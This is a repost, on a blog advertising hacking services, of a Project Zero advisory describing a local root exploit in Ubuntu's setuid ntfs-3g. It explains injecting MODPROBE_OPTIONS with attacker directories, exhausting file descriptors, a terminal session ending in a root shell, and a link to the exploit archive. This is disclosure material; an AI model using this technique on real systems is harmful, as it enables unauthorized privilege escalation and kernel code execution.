Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86393657

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1072

ntfs-3g is installed by default e.g. on Ubuntu and comes with a
setuid root program /bin/ntfs-3g. When this program is invoked on a
system whose kernel does not support FUSE filesystems (detected by
get_fuse_fstype()), ntfs-3g attempts to load the "fuse" module using
/sbin/modprobe via load_fuse_module().

The issue is that /sbin/modprobe is not designed to run in a setuid
context. As the manpage of modprobe explicitly points out:

       The MODPROBE_OPTIONS environment variable can also be used
       to pass arguments to modprobe.

Therefore, on a system that does not seem to support FUSE filesystems,
an attacker can set the environment variable MODPROBE_OPTIONS to
something like "-C /tmp/evil_config -d /tmp/evil_root" to force
modprobe to load its configuration and the module from
attacker-controlled directories. This allows a local attacker to load
arbitrary code into the kernel.

In practice, the FUSE module is usually already loaded. However, the
issue can still be attacked because a failure to open
/proc/filesystems (meaning that get_fuse_fstype() returns
FSTYPE_UNKNOWN) always causes modprobe to be executed, even if the
FUSE module is already loaded. An attacker can cause an attempt to
open /proc/filesystems to fail by exhausting the global limit on the
number of open file descriptions (/proc/sys/fs/file-max).

I have attached an exploit for the issue. I have tested it in a VM
with Ubuntu Server 16.10. To reproduce, unpack the attached file,
compile the exploit and run it:

user@ubuntu:~$ tar xf ntfs-3g-modprobe-unsafe.tar 
user@ubuntu:~$ cd ntfs-3g-modprobe-unsafe/
user@ubuntu:~/ntfs-3g-modprobe-unsafe$ ./compile.sh 
make: Entering directory '/usr/src/linux-headers-4.8.0-32-generic'
  CC [M]  /home/user/ntfs-3g-modprobe-unsafe/rootmod.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /home/user/ntfs-3g-modprobe-unsafe/rootmod.mod.o
  LD [M]  /home/user/ntfs-3g-modprobe-unsafe/rootmod.ko
make: Leaving directory '/usr/src/linux-headers-4.8.0-32-generic'
depmod: WARNING: could not open /home/user/ntfs-3g-modprobe-unsafe/depmod_tmp//lib/modules/4.8.0-32-generic/modules.order: No such file or directory
depmod: WARNING: could not open /home/user/ntfs-3g-modprobe-unsafe/depmod_tmp//lib/modules/4.8.0-32-generic/modules.builtin: No such file or directory
user@ubuntu:~/ntfs-3g-modprobe-unsafe$ ./sploit
looks like we won the race
got ENFILE at 198088 total
Failed to open /proc/filesystems: Too many open files in system
yay, modprobe ran!
modprobe: ERROR: ../libkmod/libkmod.c:514 lookup_builtin_file() could not open builtin file '/tmp/ntfs_sploit.u48sGO/lib/modules/4.8.0-32-generic/modules.builtin.bin'
modprobe: ERROR: could not insert 'rootmod': Too many levels of symbolic links
Error opening '/tmp/ntfs_sploit.u48sGO/volume': Is a directory
Failed to mount '/tmp/ntfs_sploit.u48sGO/volume': Is a directory
we have root privs now...
root@ubuntu:~/ntfs-3g-modprobe-unsafe# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lxd),123(libvirt),127(sambashare),128(lpadmin),1000(user)

Note: The exploit seems to work relatively reliably in VMs with
multiple CPU cores, but not in VMs with a single CPU core. If you
test this exploit in a VM, please ensure that the VM has at least two
CPU cores.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41356.zip